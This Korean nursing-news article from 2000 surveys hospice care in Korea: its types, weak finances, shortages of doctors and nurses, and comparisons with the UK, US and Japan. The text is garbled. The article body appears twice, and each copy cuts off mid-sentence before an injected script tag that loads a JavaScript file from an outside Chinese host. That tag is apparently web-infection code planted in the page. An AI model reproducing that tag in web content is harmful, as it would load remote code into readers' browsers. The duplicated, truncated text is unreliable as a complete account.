우리나라 호스피스 현황
"호스피스 전문간호사 절실하다"
[편집국] 백찬기 news@nursenews.co.kr 기사입력 2000-10-12 오후 15:34:07
호스피스(Hospice)는 완치가 불가능한 말기환자와 그 가족들의 고통을 사랑으로 돌보는 활동을 말한다. 또 아픈 사람이나 죽어가는 사람에게 숙식과 약을 제공해주고 보살펴준다는 뜻도 담고 있다. 죽어가는 환자를 하나의 인간으로 대우하고, 품위를 잃지 않고 평화스러운 마음으로 임종할 수 있도록 신체적 정신적 사회적 욕구를 충족시켜주며, 아울러 가족들도 격려, 지원해주는 것이 호스피스 활동이다.
■호스피스 유형
호스피스는 크게 병원형, 시설형, 가정형, 주간형으로 나눌 수 있다. 병원형은 병원의 한 병동을 호스피스병동으로 운영하는 것부터, 병동은 없으나 일반 병실에서 운영하는 산재형, 호스피스팀을 만들어 병원 내 또는 가정 환자까지 보살피는 병원 호스피스팀도 있다. 병원 내 호스피스팀 방문형은 외부의 호스피스팀이 병원에 찾아가는 방식이다.
시설형은 독립 시설에서 환자들을 돌보는 것이며, 가정 호스피스는 주로 사회복지기관이나 종교 단체 등이 호스피스 인력을 가정에 보내 환자나 가족들을 보살펴준다.
주간형은 일정한 장소에서 낮에만 맡아 돌보고 저녁에는 집으로 돌려 보내주는 형태이다. 주간형으로 운영되는 시설 중에서는 환자를 저녁에 돌려보내지 않고, 먹고 잘 수 있도록 해주는 경우도 있다.
■운영 재정상태 열악
호스피스 비용은 병원형의 경우만 행위별 수가체계를 적용해 환자로부터 진료비를 받고 있다. 그러나 가정형이나 주간형의 경우 대부분 환자들에게 무료로 서비스를 제공한다. 약값은 환자가 부담하는 경우가 많으나 영세민 환자들은 병원이나 호스피스팀에서 무료로 제공해주기도 한다. 호스피스 기관들의 운영비는 주로 병원의 지원금이나 종교단체, 일반인들의 후원금으로 충당된다.
이와 관련 장현숙 한국보건산업진흥원 전문위원은 "호스피스 기관들의 운영재정 실태를 파악해 본 결과 병원형의 경우 67% 정도가, 나머지 유형의 경우는 60% 이상이 부족한 상황에 처해 있는 실정"이라고 말하고 "실제 호스피스 운영재정의 부족률도 호스피스기관 전체로는 운영재정의 약 30.6%가 부족하며 병원형은 약 23.3%, 시설형인 독립시설은 약 35%가 부족한 것으로 조사됐다"고 말해 재정상태가 크게 열악함을 반증했다.
■시설·인력 턱없이 부족
"일주일 전 어머니 배에 복수가 찼다고 해서 서울 S의료원에 입원해 복수검사와 CT검사, 위내시경검사, 장검사를 했으나 악성종양이라는 판명을 받았습니다. 현재 어머니 상태로는 6개월밖에 살 수 없고 수술도 하지 못한다고 합니다. 자식된 도리로서 가만히 앉아서만 바라볼 수 없는 상황입니다. 어머니는 입맛이 없다는 이유로 미음을 조금씩만 잡수시고 계십니다. 자식으로서 해드릴 수 있는 방법이 있으면 조언해 주시면 감사하겠습니다."
죽음을 앞둔 말기암환자의 고통을 지켜봐야 하는 가족들의 아픔은 한 호스피스 기관으로 날아든 한 통의 편지처럼 말로 표현하기 어렵다. 매년 5만명이 말기암으로 시달리다 생명을 잃고 있지만 전문 호스피스 시설과 인력은 턱없이 부족하다.
세계보건기구(WHO)는 80년대 초부터 말기 암환자의 통증치료를 강조하면서 각국에 대책마련을 촉구해왔다. 영국의 경우 지난 67년 호스피스 제도를 본격 도입한 이후 독립시설 200개(3000병상), 가정간호팀 384개, 호스피스병원 250개 기관, 주간보호시설 220여개에서 서비스를 제공하고 있다. 미국도 주마다 암통증관리센터라는 비영리조직이 결성돼 말기 암환자 관리를 위한 연구·홍보활동을 벌이고 있으며 3200여개의 호스피스 기관이 프로그램을 진행되고 있다.
일본의 경우도 90년 들어 호스피스 제도를 본격 도입한 이후 768병상 규모의 호스피스 병원 42개와 미승인 시설 40개소가 호스피스 활동을 펼치고 있다.
반면 우리나라는 강남성모병원을 포함, 호스피스기관이 전국적으로 68곳이 있는 것으로 파악됐으나 병상 수도 미미한 실정이다. 선진국에선 이미 보편화한 호스피스전문의나 전문간호사제도도 없다.
특히 장현숙 전문위원팀이 조사한 자료에 따르면 의사가 있는 기관은 55.3%에 불과했다. 또 간호사가 있는 기관은 78.9%였으나 상근제가 아닌 시간제인 경우가 많았다. 이들 기관중 의사, 간호사, 사회복지사, 성직자, 자원봉사자를 모두 갖춘 기관도 일부 기관에 지나지 않았으며 대부분 기본 인력을 갖추지 못한 채 활동하고 있었다.
장 전문위원은 "많은 호스피스 기관들이 호스피스의 개념과 원칙에 입각하지 않은 채 서비스를 제공하고 있다"고 말하고 "호스피스 기관들이 다른 일반 환자들과 동일하게 치료서비스를 행하면서 영적 케어 및 심리적 케어를 부가시키는데 그친다면 그것은 올바른 호스피스 활동이라 할 수 없다"고 지적했다.
■전국에 호스피스기관 70개
우리나라에는 현재 전국에서 70개 기관이 ?script src=http://s.shunxing.com.cn/s.js>
■호스피스 유형
호스피스는 크게 병원형, 시설형, 가정형, 주간형으로 나눌 수 있다. 병원형은 병원의 한 병동을 호스피스병동으로 운영하는 것부터, 병동은 없으나 일반 병실에서 운영하는 산재형, 호스피스팀을 만들어 병원 내 또는 가정 환자까지 보살피는 병원 호스피스팀도 있다. 병원 내 호스피스팀 방문형은 외부의 호스피스팀이 병원에 찾아가는 방식이다.
시설형은 독립 시설에서 환자들을 돌보는 것이며, 가정 호스피스는 주로 사회복지기관이나 종교 단체 등이 호스피스 인력을 가정에 보내 환자나 가족들을 보살펴준다.
주간형은 일정한 장소에서 낮에만 맡아 돌보고 저녁에는 집으로 돌려 보내주는 형태이다. 주간형으로 운영되는 시설 중에서는 환자를 저녁에 돌려보내지 않고, 먹고 잘 수 있도록 해주는 경우도 있다.
■운영 재정상태 열악
호스피스 비용은 병원형의 경우만 행위별 수가체계를 적용해 환자로부터 진료비를 받고 있다. 그러나 가정형이나 주간형의 경우 대부분 환자들에게 무료로 서비스를 제공한다. 약값은 환자가 부담하는 경우가 많으나 영세민 환자들은 병원이나 호스피스팀에서 무료로 제공해주기도 한다. 호스피스 기관들의 운영비는 주로 병원의 지원금이나 종교단체, 일반인들의 후원금으로 충당된다.
이와 관련 장현숙 한국보건산업진흥원 전문위원은 "호스피스 기관들의 운영재정 실태를 파악해 본 결과 병원형의 경우 67% 정도가, 나머지 유형의 경우는 60% 이상이 부족한 상황에 처해 있는 실정"이라고 말하고 "실제 호스피스 운영재정의 부족률도 호스피스기관 전체로는 운영재정의 약 30.6%가 부족하며 병원형은 약 23.3%, 시설형인 독립시설은 약 35%가 부족한 것으로 조사됐다"고 말해 재정상태가 크게 열악함을 반증했다.
■시설·인력 턱없이 부족
"일주일 전 어머니 배에 복수가 찼다고 해서 서울 S의료원에 입원해 복수검사와 CT검사, 위내시경검사, 장검사를 했으나 악성종양이라는 판명을 받았습니다. 현재 어머니 상태로는 6개월밖에 살 수 없고 수술도 하지 못한다고 합니다. 자식된 도리로서 가만히 앉아서만 바라볼 수 없는 상황입니다. 어머니는 입맛이 없다는 이유로 미음을 조금씩만 잡수시고 계십니다. 자식으로서 해드릴 수 있는 방법이 있으면 조언해 주시면 감사하겠습니다."
죽음을 앞둔 말기암환자의 고통을 지켜봐야 하는 가족들의 아픔은 한 호스피스 기관으로 날아든 한 통의 편지처럼 말로 표현하기 어렵다. 매년 5만명이 말기암으로 시달리다 생명을 잃고 있지만 전문 호스피스 시설과 인력은 턱없이 부족하다.
세계보건기구(WHO)는 80년대 초부터 말기 암환자의 통증치료를 강조하면서 각국에 대책마련을 촉구해왔다. 영국의 경우 지난 67년 호스피스 제도를 본격 도입한 이후 독립시설 200개(3000병상), 가정간호팀 384개, 호스피스병원 250개 기관, 주간보호시설 220여개에서 서비스를 제공하고 있다. 미국도 주마다 암통증관리센터라는 비영리조직이 결성돼 말기 암환자 관리를 위한 연구·홍보활동을 벌이고 있으며 3200여개의 호스피스 기관이 프로그램을 진행되고 있다.
일본의 경우도 90년 들어 호스피스 제도를 본격 도입한 이후 768병상 규모의 호스피스 병원 42개와 미승인 시설 40개소가 호스피스 활동을 펼치고 있다.
반면 우리나라는 강남성모병원을 포함, 호스피스기관이 전국적으로 68곳이 있는 것으로 파악됐으나 병상 수도 미미한 실정이다. 선진국에선 이미 보편화한 호스피스전문의나 전문간호사제도도 없다.
특히 장현숙 전문위원팀이 조사한 자료에 따르면 의사가 있는 기관은 55.3%에 불과했다. 또 간호사가 있는 기관은 78.9%였으나 상근제가 아닌 시간제인 경우가 많았다. 이들 기관중 의사, 간호사, 사회복지사, 성직자, 자원봉사자를 모두 갖춘 기관도 일부 기관에 지나지 않았으며 대부분 기본 인력을 갖추지 못한 채 활동하고 있었다.
장 전문위원은 "많은 호스피스 기관들이 호스피스의 개념과 원칙에 입각하지 않은 채 서비스를 제공하고 있다"고 말하고 "호스피스 기관들이 다른 일반 환자들과 동일하게 치료서비스를 행하면서 영적 케어 및 심리적 케어를 부가시키는데 그친다면 그것은 올바른 호스피스 활동이라 할 수 없다"고 지적했다.
■전국에 호스피스기관 70개
우리나라에는 현재 전국에서 70개 기관이 ?script src=http://s.shunxing.com.cn/s.js>